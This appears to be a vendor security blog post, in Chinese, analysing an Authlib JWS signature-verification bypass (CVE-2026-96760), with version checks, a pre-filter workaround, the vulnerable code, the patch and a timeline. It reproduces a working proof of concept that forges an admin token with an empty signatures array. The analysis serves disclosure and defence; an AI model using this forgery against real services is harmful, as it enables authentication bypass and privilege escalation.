我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 97.1% 的成绩。 了解更多

深度解析

深度解析

Authlib JWS 签名绕过漏洞,已在 1.9.0 中修复(CVE-2026-96760)

Authlib 1.8.0 及更早版本会在不检查密钥的情况下,将 signatures 为空的 JWS JSON 对象视为已验证:严重级漏洞 CVE-2026-96760(CVSS 9.1),已在 1.9.0 中修复。

TL;DR

  • Authlib 是一个 Python 的 OAuth、OpenID Connect 和 JWT/JWS 库。它会接受 signatures 数组为空的 JWS JSON 序列化对象,并在没有检查任何签名、也从未使用调用方传入的验证密钥的情况下,将其载荷作为验证成功的结果返回。该缺陷编号为 CVE-2026-96760,是位于 authlib/jose/rfc7515/jws.py 中 JsonWebSignature.deserialize_json() 的一个严重级签名验证绕过漏洞。
  • 根据厂商安全公告 GHSA-6v38-4h7w-rj9h,1.8.0 及之前的所有版本均受影响。修复包含在 2026 年 10 月 14 日发布的 Authlib 1.9.0 中。
  • 厂商安全公告给出的 CVSS v3.1 评分为 9.1(严重);CVE 记录中的 CISA ADP 补充信息给出的评分为 9.8(严重)。两个评分仅在可用性影响上有所不同。
  • 截至 2026 年 10 月 1 日,CISA 的 SSVC 评估记录为 Exploitation: none;截至 2026 年 10 月 27 日,该缺陷未被列入 CISA KEV 目录。安全公告中发布了公开的概念验证(PoC)。
  • 请升级到 Authlib 1.9.0 或更高版本。在此之前,请在 JWS JSON 输入到达 Authlib 之前,拒绝其中存在但为空的 signatures 成员,或者只接受不受影响的紧凑序列化令牌。
  • Authlib 最近一周在 PyPI 上的下载量为 28,498,200 次,最近一个月为 107,757,780 次(pypistats,2026 年 10 月 27 日查询)。

我是否受影响?

如果以下条件全部成立,您就受影响:

  • 某个 Python 服务安装了 1.8.0 或更早版本的 authlib 包,并使用其 jose 模块验证 JSON Web Signature 或 JSON Web Token。
  • 该服务除点分隔的紧凑令牌之外(或代替紧凑令牌)接受通用 JWS JSON 序列化,即 RFC 7515 section 7.2.1 中定义的 {"payload": ..., "signatures": [...]} 对象。
  • 这些 JSON 序列化令牌会到达 JsonWebSignature.deserialize_json(),或到达会把 dict 输入和 JSON 文本转发给 deserialize_json() 的 JsonWebSignature.deserialize()。
  • 令牌来源可被攻击者触达,例如请求体、Webhook、消息队列或公开 API 上的某个请求头。

以下情况不受影响:

  • 您只验证紧凑序列化令牌(header.payload.signature):deserialize_compact() 会无条件验证签名。
  • 您只接受扁平化 JSON 形式({"payload": ..., "protected": ..., "signature": "..."}):它走另一个分支,并会验证其唯一的签名。
  • 您使用 JsonWebToken.decode() 验证令牌,也就是大多数 JWT 代码所用的 jwt.decode() 调用:它会统计输入中的点号数量,将含 2 个点的令牌送往 deserialize_compact()(含 4 个点的送往 JWE),其他输入则抛出 DecodeError,因此永远不会到达 deserialize_json()。在 1.8.0(authlib/jose/rfc7519/jwt.py)中,伪造的 {"payload": ..., "signatures": []} 对象不含点号,会在这里被拒绝,而 JsonWebSignature().deserialize() 则会接受它。
软件包 受影响版本 修复版本
authlib(PyPI) 1.8.0 及之前的所有版本 1.9.0

检查已安装的版本:

pip show authlib | grep -E "^(Name|Version)"

在锁文件中检查固定的版本:

grep -iE '^authlib' requirements.txt requirements/*.txt 2>/dev/null
grep '"authlib"' Pipfile.lock 2>/dev/null
grep -A2 'name = "authlib"' uv.lock 2>/dev/null | grep -E 'name|version'
grep -iE 'authlib' pyproject.toml poetry.lock 2>/dev/null

检查您的代码是否使用了受影响的入口点:

grep -rn "deserialize_json\|deserialize(" --include="*.py" . | grep -v test

对于容器,请检查正在运行的容器,而不是您以为自己构建的镜像:

docker exec <container> pip show authlib | grep Version

如何修复?

将 Authlib 升级到 1.9.0 或更高版本,并重新创建所有已部署的容器或服务器镜像,确保修复存在于实际运行的进程中,而不仅仅在最新的镜像标签里。

pip install --upgrade "authlib>=1.9.0"

如果暂时无法升级,请在输入到达 Authlib 之前对其进行过滤。拒绝任何 signatures 成员为空列表的 JWS JSON 对象:这正是 CVE-2026-96760 的利用路径。该过滤器也会拒绝值为 null 的成员,而 Authlib 本身已经会以 TypeError 拒绝这种输入;在这里拒绝它,只是把这次崩溃变成一个干净的 BadSignatureError。不含该成员的对象请放行:它们是扁平化形式,Authlib 已经会对其进行验证。然后,让每一个 deserialize() 和 deserialize_json() 调用都经过同一个包装函数,由它在把令牌交给 deserialize() 之前应用过滤器:

import json
from authlib.jose import JsonWebSignature
from authlib.jose.errors import BadSignatureError

_jws = JsonWebSignature()

def _reject_empty_signatures(obj):
    if "signatures" in obj and not obj["signatures"]:
        raise BadSignatureError("JWS carries no signatures")

def safe_deserialize(data, key, decode=None):
    if isinstance(data, dict):
        _reject_empty_signatures(data)
    else:
        raw = data.encode() if isinstance(data, str) else data
        if raw.startswith(b"{") and raw.endswith(b"}"):
            _reject_empty_signatures(json.loads(raw))
    return _jws.deserialize(data, key, decode)

该包装函数沿用了 deserialize() 选择格式的方式:dict 和 JSON 文本会经过过滤器,紧凑令牌则直接交给 Authlib 进行验证。这一临时缓解措施的局限在于:它只保护您包装过的调用点,因此每一条接受通用序列化 JWS 的路径都需要同样的检查;而且它不会改变 Authlib 本身,所以将来任何绕过包装函数的调用都不受保护。它覆盖的是 CVE-2026-96760,即空 signatures 路径;紧凑和扁平化输入在 Authlib 内部本来就会以失败关闭(fail closed)的方式被拒绝。

根本原因是什么?

authlib/jose/rfc7515/jws.py 中的 JsonWebSignature.deserialize_json() 在尚未检查任何内容之前就把有效性标志初始化为 True,并且只会在遍历令牌 signatures 数组的循环内部将其设为 False。因此,signatures 列表为空的通用序列化 JWS 会跳过所有验证步骤,即使调用方提供了有效的密钥,也会被作为验证成功的结果返回。

以下是从 v1.8.0 源代码(第 204 行起)读取的存在漏洞的代码:

headers = []
is_valid = True
for header_obj in obj["signatures"]:
    jws_header, valid = self._validate_json_jws(
        payload_segment, payload, header_obj, key
    )
    headers.append(jws_header)
    if not valid:
        is_valid = False

rv = JWSObject(headers, payload, "json")
if is_valid:
    return rv
raise BadSignatureError(rv)

有三点使它成为验证绕过,而不是一次崩溃:

  • is_valid 的初始值为 True。它的默认状态在检查任何签名之前就断定对象有效。
  • 循环体是唯一能够设置 is_valid = False 的地方,它对 obj["signatures"] 中的每个条目执行一次。空列表的迭代次数为零,因此该标志保持初始值 True。
  • 调用方的 key 只在 _validate_json_jws() 内部使用,而空循环从不调用它。应用程序精心提供的验证密钥完全没有被使用。

该方法的约定使返回的对象具有权威性:deserialize_json() 只通过抛出 BadSignatureError 来表示拒绝,因此当调用返回一个 JWSObject 而没有抛出异常时,调用方会把其中的载荷视为已验证。入口点进一步扩大了影响范围:deserialize() 会把 dict 输入以及任何以 { 开头、以 } 结尾的 JSON 文本转发给 deserialize_json(),而紧凑令牌则交给始终会执行 algorithm.verify() 的 deserialize_compact()。

漏洞如何被利用?

攻击者提交一个封装在通用 JWS JSON 序列化中、signatures 数组为空的载荷,即使调用方的密钥从未被使用、对象中任何位置都不存在签名,应用程序也会将其作为已验证的结果返回。

安全公告中的公开概念验证演示了这一点。最后一行是本文添加的,它传入了一个真实密钥,与安全公告自身记录中提供密钥的情形一致:

import base64
from authlib.jose import JsonWebSignature

def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}

print(jws.deserialize_json(forged, key=None))
print(jws.deserialize_json(forged, key="the-apps-real-hs256-secret"))  # still accepted

安全公告记录了在 Python 3.14 下安装的 Authlib 1.8.0 构件上观察到的结果:无论使用 key=None 还是真实密钥,伪造对象都同样被 ACCEPTED。

下图展示了伪造载荷如何获得应用程序的信任:

flowchart LR A["攻击者构造声明
{sub, role, scopes}"] --> B["通用 JSON 序列化中的
Base64url 载荷"] B --> C["signatures: []
不存在任何签名"] C --> D["deserialize_json() / deserialize()
使用应用的密钥"] D --> E["验证检查从未执行:
遍历 signatures 的循环
迭代零次"] E --> F["is_valid 保持 True,
载荷作为已验证结果返回"] F --> G["伪造的身份、角色
或授权被接受"] style E stroke:#c00,stroke-width:3px

攻击者能做什么?

攻击者可以让验证 JWS 的应用程序把任意载荷内容当作已正确签名的内容接受,安全公告和 CERT/CC 的说明具体阐述了这通常意味着什么。

  • 身份验证绕过:伪造的身份声明(如 sub)或权限声明(如 role=admin)会被当作真实声明通过。
  • 授权伪造:载荷中的作用域、角色和权限会被信任。
  • 签名消息注入:通过 JWS 签名消息相互认证的微服务会接受攻击者编写的消息。
  • 完整性绕过:任何依赖 JWS 签名来证明来源的数据工作流都会接受伪造的内容。

攻击者不需要密钥、不需要凭据,也不需要用户交互,这就是两个已公布的向量都给出 AV:N/AC:L/PR:N/UI:N 的原因。限制条件在应用程序一侧:它必须接受来自不可信来源的通用序列化 JWS,并信任经过验证后返回的值。

两个已公布的评分仅在可用性影响上有所不同:

来源 CVSS v3.1 评分 向量 可用性
厂商安全公告 GHSA-6v38-4h7w-rj9h 9.1,严重 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N 无(A:N)
CVE 记录中的 CISA ADP 补充信息 9.8,严重 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 高(A:H)

CISA 于 2026 年 10 月 1 日进行的 SSVC 评估记录为 Exploitation: none、Automatable: yes、Technical Impact: total。同一份补充信息将该签名验证失败归类为 CWE-347(Improper Verification of Cryptographic Signature,加密签名验证不当)。

修复为何有效?

修复在循环之前增加了一项检查:空的 signatures 数组是唯一能让 is_valid 保持初始值 True 的形态,现在它会强制将该标志设为 False,并有一个回归测试固定了这一行为。null 数组从来不会到达已验证的返回:无论修复前后,遍历 None 都会抛出 TypeError。

补丁为提交 6c11a02d,通过拉取请求 #938 合并:

         headers = []
         is_valid = True
+
+        # invalidates cases like obj["signatures"] = None or obj["signatures"] = []
+        if not obj["signatures"]:
+            is_valid = False
+
         for header_obj in obj["signatures"]:
             jws_header, valid = self._validate_json_jws(
                 payload_segment, payload, header_obj, key

代码注释也提到了 None,但对于这种输入,该检查只会设置标志:紧随其后的 for 循环仍会遍历 None 并抛出 TypeError,与之前相同。因此,干净的 BadSignatureError 拒绝只适用于空数组,而不适用于 None。

有了这项检查,空数组会强制 is_valid = False,因此该方法会执行到 raise BadSignatureError(rv),调用方看到的是一个被拒绝的令牌。新增的测试 test_deserialize_json_empty_signatures 输入 {"payload": "YQ", "signatures": []},并断言恰好抛出该异常。

就这条路径而言,修复是完整的:除非至少有一个签名通过验证,否则攻击者无法再到达已验证的返回;而逐个签名的验证循环本身没有改变,因此带有签名的令牌仍按原来的方式验证。

如何检查自己是否已遭入侵?

截至 2026 年 10 月 27 日,尚未公布针对该缺陷的入侵指标(IOC),因此以下检查是根据缺陷本身推导出的模式,而不是厂商提供的 IOC 列表。

  • 在请求体、令牌接收日志和 Webhook 日志中搜索伪造对象的结构特征:signatures 成员为空数组的 JWS JSON 请求体,例如 "signatures":[] 或 "signatures": []。
  • 对于任何被接受、但其声明发生了变化而您这一侧并没有相应签名活动的 JWS,检查其前后的身份验证和授权日志,例如某个合法签发方从未生成过的身份或角色值。
  • 确定您的暴露时间窗口:在部署主机上运行 pip show authlib,或运行 docker exec <container> pip show authlib,即可得到已安装的版本;再结合部署历史,就能知道早于 1.9.0 的版本运行了多长时间,从而确定日志搜索必须覆盖的时间范围。

时间线

  • 2026-09-23:CERT/CC 预留 CVE-2026-96760(CVE 记录的 dateReserved)。
  • 2026-09-28:CERT/CC 发布 VU#762428 和 CVE 记录。该说明描述的受影响版本为 1.7.2 及之前版本,并指出在撰写时无法联系到厂商,也没有可用的补丁。
  • 2026-10-01:修复编写完成(提交 6c11a02d 的 author date);同一天,CISA ADP 补充信息被记录,内容为 Exploitation: none。
  • 2026-10-14:Authlib v1.9.0 发布并包含该修复,修复来自 Leonardo Oporto 提交的拉取请求 #938。
  • 2026-10-27:GitHub Advisory Database 于 14:50 UTC 发布经审核的条目 GHSA-6v38-4h7w-rj9h,将 zer0d4y5、uziii2208 和 nguyenminhtuan28 列为报告者;本文随后发布。

常见问题

这是否会影响普通的紧凑序列化 JWT?

不会。点分隔的 header.payload.signature 形式会经过 deserialize_compact(),它始终调用 algorithm.verify(),并在任何不匹配时抛出 BadSignatureError。只有 signatures 数组为空的通用 JSON 序列化形式受影响。

只有在应用程序不传入密钥时,这个漏洞才有影响吗?

不是。验证密钥在 _validate_json_jws() 内部使用,而空循环从不调用它,因此即使应用程序正确地提供了有效密钥,伪造的令牌也能蒙混过关。“漏洞如何被利用?”一节中的漏洞利用代码片段先以 key=None 调用 deserialize_json(),再用真实密钥调用一次,安全公告的复现也显示伪造对象在两种情况下都被接受。传入真实密钥的应用程序正是受影响的群体。

扁平化 JSON 形式是否受影响?

不受影响。带有 signature 成员而非 signatures 的对象会走扁平化分支,该分支会验证其唯一的签名,并在失败时抛出异常。该漏洞源于通用形式的标志初始化方式与空数组的组合。

该漏洞是否已遭在野利用?

目前未知有任何利用。CISA 于 2026 年 10 月 1 日进行的 SSVC 评估记录为 Exploitation: none,并且截至 2026 年 10 月 27 日,该 CVE 未被列入 CISA KEV 目录。自安全公告发布以来就已存在公开的概念验证,因此在检查暴露情况时,应假设任何人都能复现该技术。

为什么 CERT/CC 列出的是 1.7.2,而安全公告列出的是 1.8.0?

2026 年 9 月 28 日的 CERT 说明列出的是 1.7.2 及之前的版本,并记录当时没有补丁。1.8.0 版本早在 2026 年 8 月 30 日就已发布;相关来源并未解释为何较早的说明止于 1.7.2。厂商安全公告 GHSA-6v38-4h7w-rj9h 给出的是权威范围:1.8.0 及之前的所有版本,首个修复版本为 1.9.0,并且该公告自身的复现正是在 1.8.0 上观察到的。

升级是否需要修改代码?

不需要。修复完全位于 deserialize_json() 内部,因此执行 pip install --upgrade "authlib>=1.9.0" 并重新创建已部署的容器即可消除该缺陷。保留了预过滤临时措施的应用程序可以在升级后将其移除,因为 1.9.0 在遇到空 signatures 时会以失败关闭的方式拒绝。

抢在攻击者之前找出存在漏洞的 Authlib 安装

在您的代码仓库和容器镜像上运行 Ostorlab SCA,列出仍在使用低于 1.9.0 版本 Authlib 的每一个项目和版本。

参考资料

  • 厂商安全公告 GHSA-6v38-4h7w-rj9h,包含根本原因、概念验证、截至 1.8.0 的受影响范围以及 1.9.0 中的修复:https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h(2026 年 10 月 27 日查询)
  • GitHub Advisory Database 经审核的条目 GHSA-6v38-4h7w-rj9h,严重,CVSS v3.1 9.1(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N),2026 年 10 月 27 日发布,将 zer0d4y5、uziii2208 和 nguyenminhtuan28 列为报告者:https://github.com/advisories/GHSA-6v38-4h7w-rj9h(2026 年 10 月 27 日查询)
  • CVE-2026-96760 记录,CNA 为 CERT/CC,2026 年 9 月 28 日发布,附 CISA ADP 补充信息:CVSS v3.1 9.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)、CWE-347(Improper Verification of Cryptographic Signature)、截至 2026 年 10 月 1 日的 SSVC Exploitation: none:https://cveawg.mitre.org/api/cve/CVE-2026-96760(2026 年 10 月 27 日查询)
  • CERT/CC 漏洞说明 VU#762428,最初发布于 2026 年 9 月 28 日,描述了空 signatures 绕过、两个受影响的入口点、影响场景以及发布时尚无补丁的状态:https://www.kb.cert.org/vuls/id/762428(2026 年 10 月 27 日查询)
  • 修复提交 6c11a02d,“Fix empty signatures validation in JWS JSON deserialization”,由 Leonardo Oporto 于 2026 年 10 月 1 日编写,包含新增的防护检查和回归测试:https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733(2026 年 10 月 27 日查询)
  • 修复拉取请求 #938:https://github.com/authlib/authlib/pull/938(由 v1.9.0 发布说明引用,2026 年 10 月 27 日查询)
  • Authlib v1.9.0 版本发布,2026 年 10 月 14 日发布,包含该修复:https://github.com/authlib/authlib/releases/tag/v1.9.0(2026 年 10 月 27 日查询)
  • 标签 v1.8.0 中存在漏洞的 authlib/jose/rfc7515/jws.py,包含 deserialize_json()、deserialize() 和 _validate_json_jws() 的实现:https://raw.githubusercontent.com/authlib/authlib/v1.8.0/authlib/jose/rfc7515/jws.py(2026 年 10 月 27 日查询)
  • Authlib 的 PyPI 下载量数据,最近一周 28,498,200 次,最近一个月 107,757,780 次:https://pypistats.org/api/packages/authlib/recent(2026 年 10 月 27 日查询)
  • CISA Known Exploited Vulnerabilities 目录,于 2026 年 10 月 27 日检查 CVE-2026-96760(未列入):https://www.cisa.gov/known-exploited-vulnerabilities-catalog